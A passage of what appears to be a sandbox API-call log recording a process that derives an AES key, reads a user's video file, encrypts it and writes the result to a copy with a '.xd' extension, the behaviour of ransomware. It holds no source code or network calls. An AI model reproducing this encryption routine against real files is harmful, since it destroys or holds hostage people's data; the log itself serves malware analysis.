cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621840, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.655] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.655] CryptHashData (hHash=0x164c8f0, pbData=0x1629660, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.655] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.655] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.655] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.655] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.655] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621828, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.655] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.655] CryptDeriveKey (in: hProv=0x17aaa28, Algid=0x6610, hBaseData=0x164c8f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0067.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.656] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.656] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.656] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.656] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.656] CryptDestroyHash (hHash=0x164c8f0) returned 1 [0067.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.656] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.656] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.656] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.656] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.656] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\rfk74uah.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.657] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.657] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.657] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly")) returned 0x10 [0067.658] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\rfk74uah.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.660] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.660] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xad20, lpOverlapped=0x0) returned 1 [0067.662] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.666] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.666] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.666] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.666] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.666] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.666] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.666] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.666] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.666] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.666] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.667] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.667] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.667] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629560, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629560*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.667] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.667] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.667] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.668] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.668] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.668] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.668] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.668] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.668] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.669] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.669] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217f8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.670] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.670] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xad20, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xad30) returned 1 [0067.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.670] CharLowerBuffW (in: lpsz="byte[44337]", cchLength=0xb | out: lpsz="byte[44337]") returned 0xb [0067.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.672] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.672] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.672] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621c18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.673] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.673] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1892a60*, pdwDataLen=0x130e618*=0xad20, dwBufLen=0xad30 | out: pbData=0x1892a60*, pdwDataLen=0x130e618*=0xad30) returned 1 [0067.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.673] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.673] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.673] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.673] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.673] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.673] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.674] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.674] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.674] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.674] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.694] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.695] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xad30, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xad30, lpOverlapped=0x0) returned 1 [0067.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.696] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.696] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.696] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.696] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.696] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.697] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.697] CryptDestroyKey (hKey=0x164c530) returned 1 [0067.697] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.697] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.697] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.697] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.697] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.697] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.697] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.697] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.697] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.697] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, 